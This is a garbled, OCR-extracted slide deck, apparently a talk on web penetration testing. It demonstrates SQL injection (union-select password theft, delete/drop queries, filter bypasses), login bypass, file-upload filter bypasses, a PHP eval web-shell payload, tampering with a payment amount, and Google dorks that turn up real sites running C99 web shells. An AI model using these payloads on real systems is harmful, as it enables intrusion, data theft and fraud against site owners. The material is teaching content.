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Web Security v.s. Penetration Testing
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e 2013 / 01 Ruby on Rails Remote Code Execution
e 2013 / 07 Struts 2 s2-017

e 2014 / 04 OpenSSL HeartBleed

e 2014 / 09 Bash ShellShock
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root:!:0:0: usr/bin/ksh
=1

daemon l: Krtc
bin: 1:2:2: fbln

sys: 1:3:3:: /usr/sys:

adm: ' 4 4::/var/adm:
mucp: 1:5:5: : fusr/1ib/uucp:
nobod}. :429406T294: 4294067284 ::/:

1pd: 1:9:4294967294::/:
lp:*:11:11::/var/spool/1p:/bin/false
invscout:*:6:12: :/var/adn/invscout : /usr/bin/ksh
snapp: *:200: 13:snapp login user:/usr/sbin/snapp:/usr/sbin/snappd
ipsec:*:201:200::/etc/ipsec: fusr/bin/ksh

ruucp: #*: T:5:muep login user:/var/spool/uucppublic: fusr/sbin/uucp/aucico
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Injection Flaw

SQL Injection, Cross Site Scripting, Code Injection,

LDAP Injection, XPATH Injection, Command Injection ...
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Nell

SELECT * FROM news WHERE id=1



ID

news.php

SELECT * FROM news

TITLE CONTENT DATE
BiEDH... 2013/04/01
ETEE.. 2013/04/02

[fe @ Ki=... 2013/12/12



news.php?id=

SELECT * FROM news WHERE id =

ID TITLE CONTENT DATE
[ 1 BrnEE... 2013/04/01 }
2 EEYE.. 2013/04/02

3 [fefE Ki=... 2013/12/12



news.php?id=

SELECT * FROM news WHERE id =

ID TITLE CONTENT DATE
1 BrnEE... 2013/04/01
[z FEeouEE 2013/04/02]

3 [fefE Ki=... 2013/12/12



news.php?id=

SELECT * FROM news WHERE id =

ID TITLE CONTENT DATE
1 BrnEE... 2013/04/01
2 EEYE.. 2013/04/02

3 [fefE Ki=... 2013/12/12



news.php?id=1 ; delete from news

SELECT * FROM news WHERE id = 1 ; delete from news

ID TITLE CONTENT DATE

13/04/01
2013/04/02
IKYAVIAV:
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Username: ' or '

Password: ' or '



http:/ /sqli.exp.tw/
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HE AZ#81uL Demo

http:/ /pwn.orange.tw/



News Bulletin

pwn.orange.tw

News Bulletin

BR
# TITLE
29 SH3EF [Sunday Lover] &
28 7 PN 5
27 The Next Big Thin: 8

26 2014 P Festival S %8 - 5> & Nils Frahm
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News Bulletin

pwh.orange.tw ¢ e Q) — w0 + YW B §

™\ Apache

News Bulletin

(G} Twitter Bootstrap

&) Ubuntu

BHR

# TITLE

29 55383 [Sunday Lover] &R

28 Nl e & J

27 The Next Big Thin 8

26 2014 P Festival - & Nils Frahm
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= mE - SQL Injection

http://pwr
orange.tw W\ e

[+ SQL v XSS v Encryption ¥ Encoding ¥ Other v

@ Load URL http:/ /pwn.orange.tw/show.php
2id=29'

5.5 Split URL

Execute

Enable Post data Enable Referrer

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' at line 1




show.php?id=

SELECT * FROM news WHERE id =

ID TITLE CONTENT
29 FoHNIGRE. ..



show.php?id=

SELECT * FROM news WHERE id =

ID TITLE CONTENT

29 FoHIBEE. .
1 2 3



show.php?id=

SELECT * FROM news WHERE id =

ID TITLE CONTENT
] Y 3



[ INT SQL v XSS v Encryption ¥ Encoding v

& Load URL http://pwn.orange.tw/show.php
g)g Split URL ?id=29 and 1=2 union select 1,2,3

» Execute

| | Enable Post data [ | Enable Referrer

News Bulletin

BHR

Other v

o




show.php?id=29 and 1=2
union select 1,2,password from admin

SELECT * FROM news WHERE id = 29 and 1=2

union select 1,2,password from admin

ID TITLE CONTENT
1 2 THE_PASSWORD



ow.php?id=29 and 1=2 union select 1,2,} \P"PB@ &

[ INT SQL v XSS v Encryption ¥ Encoding v Other v

& Load URL http://pwn.orange.tw/show.php
g{; Split URL ?id=29 and 1=2 union select 1,2,password from admin

» Execute

| | Enable Post data [ | Enable Referrer

News Bulletin

BHR

ab0221b63208ccal3e7de137b0052%9bbe



Cross Site Scripting

XSS
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http:/ /pwn.orange.tw/
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Example



BEOREFEAR.

Log in with WordPress.com
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PR3E 2 IP ?



PHP 3B 25 BREHY:

Sin = $_GET[input];
if ( preg_match("/[0-91{6,8}/", Sin) == 0 ){
// Get Out



FfEILEIS ¢ [l%F Wordpress (Bl

Worldpress 3.8.2 Cookie {53 i@l



list{Susername, Sexpiration, Shmac) = \

explode( 'l', Scookie );

Shash =\

hash_hmac( 'md5', Susername.'|'.Sexpiration, Skey );

if ( Shmac != Shash ){
// get out



list{Susername, Sexpiration, Shmac) = \

explode( 'l', Scookie );

Shash =\

hash_hmac( 'md5', Susername.'|'.Sexpiration, Skey );

if ( Shmac != Shash ){

// get out
}

# admin|139756416319e21dc6ef0259¢1db9a852bb297f0508



"0" == "0e123456789012345678901234567890"
// True

admin| |0



list{Susername, Sexpiration, Shmac) = \

explode( 'l', Scookie );

Shash =\

hash_hmac( 'md5', Susername.'|'.Sexpiration, Skey );

if ( Shmac Shash ){

// get out
}

# admin|139756416319e21dc6ef0259¢1db9a852bb297f0508



PHP 3B 25 BREHY:

Sin = $_GET[input];
if ( preg_match("/[0-91{6,8}/", Sin) 0 )
// Get Out



PHP 3B 25 BREHY:

Sin = $_GET[input];
if ( preg_match("/[0-91{6,8}/", Sin) 0N
// Get Out

# check.php?input{]=foo
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Apache + PHP

DIR = '/var/www/upload/'
f = get_user file|)
name, ext = f.filename, f.extension

move( f, DIR + filename )



Apache + PHP

DIR = '/var/www/upload/'
f = get_user file|)
name, ext = f.filename, f.extension

move( f, DIR + filename )

# hacker.php



Apache + PHP ( Patch 1 )

DIR = '/var/www/upload/'
f = get_user file|)

name, ext = f.filename, f.extension

move( f, DIR + filename )



Apache + PHP ( Bypass 1 )

DIR = '/var/www/upload/'
f = get_user file|)

name, ext = f.filename, f.extension

move( f, DIR + filename )

# hacker.php3 # hacker.php4 # hacker.phiml



Apache + PHP ( Patch 2 )

DIR = '/var/www/upload/'
f = get_user file|)

name, ext = f.filename, f.extension

move( f, DIR + filename )



Apache + PHP ( Bypass 2 )

DIR = '/var/www/upload/'
f = get_user file|)

name, ext = f.filename, f.extension

move( f, DIR + filename )

# hacker.php[SPACE]



Apache + PHP ( Patch 3 )

DIR = '/var/www/upload/'
f = get_user file|)

name, ext = f.filename, f.extension

move( f, DIR + filename )



Apache + PHP ( Bypass 3 )

DIR = '/var/www/upload/'
f = get_user file|)

name, ext = f.filename, f.extension

move( f, DIR + filename )

# hacker.php.xxx # .htaccess



Nginx + PHP

DIR = '/var/www/upload/'
f = get_user file|)

name, ext = f.filename, f.extension

move( f, DIR + filename )



Nginx + PHP

DIR = '/var/www/upload/'
f = get_user file|)

name, ext = f.filename, f.extension

move( f, DIR + filename )

# hacker.gif/a.php # hacker.gif%00.php



http:/ /webconf.orange.tw/discuz/uc_server/data/
avatar/000/00/00/05_avatar_big.jpg




http:/ /webconf.orange.tw/discuz/uc_server/data/
avatar/000/00/00/05_avatar_big.jpg/.php

= phpinfo()

L J orange.tw \\' -“' Google

V0OOOIFIFOO O 00VOOOEXTOONNO ©00000000000000000
Input Your Command:

B

PHP Version 5.2.17

System Linux axi 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:14 EDT 2010 x86_64
Build Date Nov 27 2011 13:38:34

Configure Command |"/configure’ ‘—with-config-file-path=/usr/localllib’ —enable-mbstring’ ‘—with-curl’ “—with-
libxml-dir —with-gd" "—with-jpeg-dir ‘—with-zlib’ ‘~with-freetype-dir ‘—enable-
safe-mode’ ‘—enable-fpm’ —enable-fastcgi’ —with-mysqgl=/usr/bin’ —with-libdir=lib64’

Server API CGI/FastCGl

Virtual Directory disabled
Support

Configuration File lusrflocalllib
(php.ini) Path

Loaded lusrflocal/Zend/etc/php.ini
Configuration File

Scan this dir for (none)
additional .ini files

additional .ini files (none)




IS + ASP

DIR = '/var/www/upload/'
f = get_user file|)

name, ext = f.filename, f.extension

move( f, DIR + filename )



IS + ASP

DIR = '/var/www/upload/'
f = get_user file|)

name, ext = f.filename, f.extension

move( f, DIR + filename )

# hacker.asp;.jpg



Upload and More ...
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« IWERITER in JavaScript
o fEEY Mine Type

* }EE& File Header

o B File Format

« BEE URL Pattern
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Hello World

<?php
echo "Hello World":

?>



Hello World

<?php

echo .

?> \



"Hello World" v.s. 'Hello World'

{RANEZ= RIS ?



PHP Double Quote Evaluation

* $func = function(){ return "Alice"; };

* Sname = "Tony";

e Sstring = "Hello " # Hello Tony
e Sstring = 'Hello ; # Hello Sname

* Sstring = "Hello " # Hello Alice
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http:/ /pwn.orange.tw/
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News Bulletin

MRS YRE

BER #H KE Bd

TR MRS

phpconf

PR RS

AAL1RE

News Bulletin

HREE
#000000

!
¥
|
!
|



${@eval($ POSTIccc])}

ccc=echo 'S POST[cmd] &emd=ls -alh



http://pwn.orange.tw/admin/..

view-source:http://pwn.orange.tw/admin/?module=para

= @ SQL v XSS v Encryption ¥ Encoding v Other v

= Load URL view-source:http://pwn.orange.tw/admin/?module=para|
% split URL
’ Execute

Q‘ Enable Post data Enable Referrer

Post data ccc=echo " $_POST[cmd]™;
&cmd=ls -alh

total 48K
drwxrwxr-x
drwxrwxr-x
-IrW=-YrwW-Yr—-—
drwxrwxr-x
-IrW=YW-Ir—-—
-IrWXIWXIrwXx
—-IrW=YW=L=—
—IrWXIWXrwx
-IrWXIwXr-x
drwxrwxr-x

orange orange 4.0K
orange orange 4.0K
orange orange 55
orange orange 4.0K
orange orange 844
orange orange 98
orange orange 207
orange orange 1.8K
orange orange 1.8K
orange orange 4.0K
-IW-Irw-r-- orange orange 1.4K
drwxrwxr-x orange orange 4.0K
<!/DOCTYPE html>
<html>
<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

.htaccess
admin
common.php
config.php
conn.php
index.php
index.php.bak
modules
show.php
statics

5
7
1
4
1
1
1
1
1
2
1
2

[ S S S T Y S S S S

<link rel="stylesheet" href="statics/bootstrap.min.css">
</head>
<body>
<div class="jumbotron">
<div class="container">
<hl>
News Bulletin
</hl>
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https://cart.suning.com/emall/PaymentConfirmView?langld=-78catalogid=10051& D~ Qg 80 X .
Bre.. | . 2t | B T VEESS

Suning

7T 5N 1. ZMEHE 2 BRATTE{ER

BEGETZSAVEAE 3K ¥ %{t: 2866.007T

EFEE MARAE Xt RIR

: ZRETRIAGE A RESEEE, niHREE

1.‘1.%7%‘.%'5]% 1§E¥ﬁ@ﬂ¥?ﬁﬁﬁﬁﬁﬂ$%ﬁ?;

1. j8): SR LR 1T 2 IRRARIN : XTI 1R

= fnip ! PRSI LA ARG (ERGERT « RSB .| S . SES(SH EOESEEARET
17« REIRAT « RAURAT « RIBRAT B EIRAT « TRIRAT « KA
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Internet Explorer EIRIFH RS TASSTHERNAS. SEA=(9)

htto://www.wooyun.org/bugs/wooyun-2012-010561




Intercept requests : [v] Intercept responses: [ |

Parsed | Raw

POST hitps:linetpay.cmbchina.com:443/netpayment/BaseHttp.dlI?PrePayC2 HTTP/1 .1

Accept: imageljpeq, applicationfx-ms-application, image/gif, applicationxaml+xml, imagel/pjpeq, applicationix-ms-xbap, applicationivnd.ms-excel, applicationivnd.ms-powerpoint, applica
Accept-Language: zh-CN

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2
Content-Type: applicationXx-www-form-urlencoded

Accept-Encoding: gzip, deflate

Host: netpay.cmbchina.com

Content-length: 186

Connection: Keep-Alive

Cache-Control: no-cache
Cookie: Cookie_NetPay=LastPayWay:NetBank; WTFPC=id=139.226.9.108-3981570896.30224024:lv=1344047165122:55=1344047165122

BranchID=0025&CoNo=004624&BillN0o=0023258720&Amount=2866.00&Date=20120804 &MerchantUrl=https%3A%2F % 2Fcallback.suning.com%2FNetPayment%2Fcallback%2Fpage

l

Find: |2866.00 | N [ ] Match Case
|

- W

Accept changes Cancel changes Abort request Cancel ALL intercepts




HTRM..

es s 4

ALL IN ONE NET

Vir =

H HA: 20120804

B P BTHMAE (400-
8198-198)

e ‘._
| ArzHvRRtEs |
EZNELSD

Ay ?
qtyﬂzg‘ﬂmiﬁ

) EEEHA:

SEBYH

T XL

Bk =it « Bk am s

| D EARFESEAR |

B ARG LIESHEREN—FR, TAAFEESHRS.
B NBHFEE BEELIRREEENSE WIFNEAR-

htto://www.wooyun.org/bugs/wooyun-2012-010561



SQL Injection "DROP" {RfEkR 2



Pseudo Code

Sid = S_GET[id],‘

$sql = "SELECT * FROM news WHERE ID = Sid";
mysql_query($sql);

// PoC: news.php?id=1 ; drop table news --



Pseudo Code (Patch 1)

Sid = S_GET[id],’
Sid = str_replace("drop", "", Sid);
$sql = "SELECT * FROM news WHERE ID = 5id";

mysql_query(Ssql);



Pseudo Code (Patch 1 Bypass)

Sid = S_GET[id],’
Sid = str_replace("drop", "", Sid);
$sql = "SELECT * FROM news WHERE ID = 5id";

mysql_query($sql);

// PoC: news.php?id=1 ; DROP table news --



Pseudo Code (Patch 2)

Sid = S_GET[id],’
Sid = str_ireplace("drop", "", Sid);
$sql = "SELECT * FROM news WHERE ID = 5id";

mysql_query(Ssql);



Pseudo Code (Patch 2 Bypass)

Sid = S_GET[id],’
Sid = str_ireplace("drop", "", Sid);
$sql = "SELECT * FROM news WHERE ID = 5id";

mysql_query($sql);

// PoC: news.php?id=1 ; DRODROPP table news --
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Cloud

iCloud

icloud.com




MRS = 43X 2l Server

.\.IJ.I-\-

IRIEZZTE = Web Server 2 {Rifs2

= > AHE

MySQL

username Apache Java

password



MRS = 43X 2l Server

.\.IJ.I-\-

MRIRZEHE > Web Server 2| BImES [ EXE

username Apache Java MySQL
password
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Hash Table

IHAE Ol
e OIN)



Hash Table

:nlll'
I
3

SBHIBEE

=
==



Hash Table

Table[ ??? ] = xxx

hash( ??? ) =



Hash Table

H[ 'username' ] = 'admin'

hash( 'username' ) =



Hash Table

H[ 'password' | = 'passw'

hash( 'password' ) =




Hash Table

H[ 'fooooooo' ] = 'baaar’

hash( 'fooooooo' ) = 5

g ;




Hash Table

HI 'sleeeeep’ ] = 'taco’

hash( 'sleeeeep’ ) = O




Hash Table

H[ 'beeeeeep’ ] = 'beee’

hash( 'beeeeeeep' ) = 2




Collision ?

Chaining
Open Addressing



—5

Implementation of chained hash

(actual
keys)

@IS =




Hash Table

H[ 'beeeeeep’ ] = 'beee’

hash( 'beeeeeeep' ) = 2

ﬁ o E




hash function ;E&E;EBE A

e 2EBNIEFIZE Worst Case O(N) 224




hash function 52 5TAV¥IRTERTH
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Hash Table




Web is « X @ hashco [R] Tianys, 8] world 1 IRl rReaver €3 Downlo
= koto.github.c| - Remote Deskzop
O Google Bookmark -" Google
"8 Windows Task Manager

HaSh COlliSi()n File Options View Help

Applications | Processes | Services NCE | Networking | Users

More info: Denial of Service thr

W |

Al A 1
"fll UUI‘ I‘fuul'dr‘l}ll&qx ".J 'ﬂbﬁ n"-f'g" klh'
The following POST content sh —

100 %

Post of Doom:

htip://koto.github.io/blog-kotowicz-net-examples/hashcollision/kill.html
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Google Tricks

* apple

* apple orange

* "apple orange"

* apple -orange

* site:apple.com

* site:apple.com inurl:mba

* site:apple.com filetype:doc



Combo Z2HS ¥+

* "index of" fR{EEE mp3
e site;edu.tw ext:pdf sol "linear algebra"

* site:gov.cn filetype:xls 2505



Google Hacking

* "on line" warning ext:php
* sitetyzu.edu.tw inurl:admin/login

* site:yzu.edu.tw inurl:login



® 00 Google Hacking Database, GHDB, Google Dorks

| ﬂ Google Hacking Database, GHD...

| exploit-db.com

!A(‘KIN(:-DA Ai ASI'

Weloome to the google hacking database

We call them 'googledorks': Inept or foolish people as revealed by Google. Whatever you call these fools, you've
found the center of the Google Hacking Universe!

Search Google Dorks
Category: I NENNNE) Free text search: |

Latest Google Hacking Entries

Date Title Category

2013-12-03 inurl:/administrator/index.php?autologin=1 Pages containing login portals
2013-11-27 inurl:mikrotik filetype:backup Files containing juicy info
2013-11-27 intext:phpMyAdmin SQL Dump filetype:sql intext:INS... Files containing juicy info
2013-11-25 site:github.com inurl:sftp-config.json intext:/wp-... Files containing passwords
2013-11-25 site:github.com inurl:sftp-config.json Files containing passwords
2013-11-25 inurl:github.com intext:sftp-conf.json +intext:/wp... Files containing juicy info
N13-11.75 allinurd-"awa/aith/lnann aceny” -annale - Panes rnntainina lnain nartale

htto://www.exploit-db.com/google-dorks/



® 00 filetype:php intext:"IC99Shell v. 1.0 beta"

| K} filetype:php intext:"1C99Shell v. ...

< exploit-db.com

~](=]
EXPLOIT- p——T—~

DRATABARSE e )

HOME GHDB ABOUT REMOTE LOCAL WEB DOS SHELLCODE PAPERS SEARCH SUBMIT

Do you want to be a Professional Penetration Tester?

COMPATIBLE
cve.mitre.org

filetype:php intext:"'C99Shell v. 1.0 beta" ( ! t .’" E-
T A ; ‘l rb—

HACKING-DATA3ASE

Google search: filetype:php intext:"IC99Shell v. 1.0 beta"

PREV

Hits: 269
Submited: 2013-11-25



® 00 filetype:php intext:"IC99Shell v. 1.0 beta" - Google #3

Jﬂ filetype:php intext:"IC99Shell v. ... u : filetype:php intext:"IC99Shell v. ... “ -+ L

) @ ht www.google.com/searct X S ’ t 6 ® [ (B~ Google Q)& &) B (2 -] |S| -]

+Orange #M® M) @ Play YouTube XM Gmail £ - Orange Tsai 0

Go gle  filetype:php intext:"1C99Shell v. 1.0 beta" %2 MBI v

corz.org - ¢99.php - php shell
corz.org/corz/c99.php ~ BIZiEHMAE

ell v. 1.0 beta (21.05.2005) ! Software: Apache/2.2.4 (Unix) mod_ssl/2.2.4
OpenSSL/0.9.8d DAV/2 PHP/5.2.3. uname -a: Linux oshi 2.4.33.3 #1 Fri Sep 1 ...

June 6 at 2:15pm - Facebook
https://www.facebook.com/permalink.php?id...story... ¥ E:2iEEHEE

List of ALL hacking Shells C99Shell v. 1.0 beta (5.02.2005) PHP b374k PHP b374k-
mini-shell PHP Cyber Shell PHP GFS Web-Shell PHP NFM 1.8 PHP r57shell ...

www.park-usa.com c99txt.org- c99shell
www.park-usa.com/image/c99.gif.php.php?act=f&f=COH.. ft... ~

IC99Shell v. 1.0 beta (21.05.2005)! Software: Microsoft-11S/7.5. PHP/5.3.10. uname -a:
Windows NT COEUS 6.1 build 7601 (Windows Server 2008 R2 Standard ...

www.albertcollege.ca c99txt.org- c99shell
www.albertcollege.ca/portals/O/version.php?act=f&f...png... ~

IC99Shell v. 1.0 beta (21.05.2005)! Software: Microsoft-11S/7.5. PHP/5.3.0. uname -a:
Windows NT CL-T069-120CN 6.1 build 7601 ((null) Service Pack 1) i586.

www.syarch.com c99txt.org- c99shell
www.syarch.com/uploads/c99.php?act=f&f...DryStudio... ~
v 1 A0S\ yare:

1IC34Shell vy 1 ) heta 0




® 00 c99txt.org- c99shell

| !_! filetype:php intext:"!IC99Shell v. ... filetype:php intext:"!IC99Shell v. ...

GIF89;a

'c99Shell v. 1.0 beta (21.05.2005)!
Software: Microsoft-IIS/7.5. PHP/5.3.10

uname -a: Windows NT COEUS 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1)
i586

IUSR

Safe-mode:

C:\inetpub\wwwroot\PARK\parent\image\ drwxrwxrwx

Free 25.01 GB of 546.47 GB (4.58%)

Detected drives: [a][c][d]

J
A « » BB B @ W encoder Bind Proc. FIPbrute Sec. SQL PHP-code Feedback Self remove Logout

’ GaRDeNFoX

Listing directory (75 files and 119 directories):

Name a Size Modify Perms Action
-~ LINK 03.12.2013 10:25:23 drwxrwxrwx i
5 . LINK 03.12.2013 10:26:30 drwxrwxrwx i
M [1-New Home] DIR 26.04.2012 17:42:48 drwxrwxrwx Ui
M [1-thumbs] DIR 25.09.2012 14:46:09 drwxrwxrwx 9 4
M [960Banners) DIR 26.04.2012 17:42:48 drwxrwxrwx Q4
M [ANIMATIONS] DIR 26.04.2012 17:42:49 drwxrwxrwx i
M [ARTICLE ICONS] DIR 26.04.2012 17:42:49 drwxrwxrwx i
M [Art-FPS) DIR 13.06.2012 18:38:17 drwxrwxrwx i
M [BANNERS] DIR 26.04.2012 17:42:49 drwxrwxrwx Q4
M [Baker street jail] DIR 26.04.2012 17:42:49 drwxrwxrwx 9 4
[ [Banners 2012] DIR 20.03.2013 20:25:16 drwxrwxrwx o [ ]
M [Barscreen 2011] DIR 26.04.2012 17:42:49 drwxrwxrwx i
M [BreakTank] DIR 26.04.2012 17:42:50 drwxrwxrwx Q4
B8 ro.seana DIR 26.04.2012 17:42:50 dranrwnrwe 9 a
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!C99Shell v. 1.0 beta (21.05.2005)!
Software: Microsoft-IIS/7.5. PHP/5.3.10

uname -a: Windows NT COEUS 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1)
i586

IUSR

Safe-mode:

C:\inetpub\wwwroot\PARK\parent\image\ drwxrwxrwx
Free 25.01 GB of 546.47 GB (4.58%)
Detected drives: [a][c][d]

P »
ﬁ - -+ m = ' Encoder Bind Proc. FTPbrute Sec. SQL PHP-code Feedback Self remove Logout

Result of execution this command:

Windows IP Configuration

Ethernet adapter Local Area Connection 2:
ic DNS Suffix . :

Subnet Mask . ..........:255.255.0.0
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Tools



Tools

* FireFox ( OWASP Mantra )

— Cookie Manager
— Foxy Proxy

— HackBar

— Modify Headers
— Tamper Data

— Wappalyzer

— X-Forwarded-For

* Burp Suite



Thanks :)

orange @chroot.org



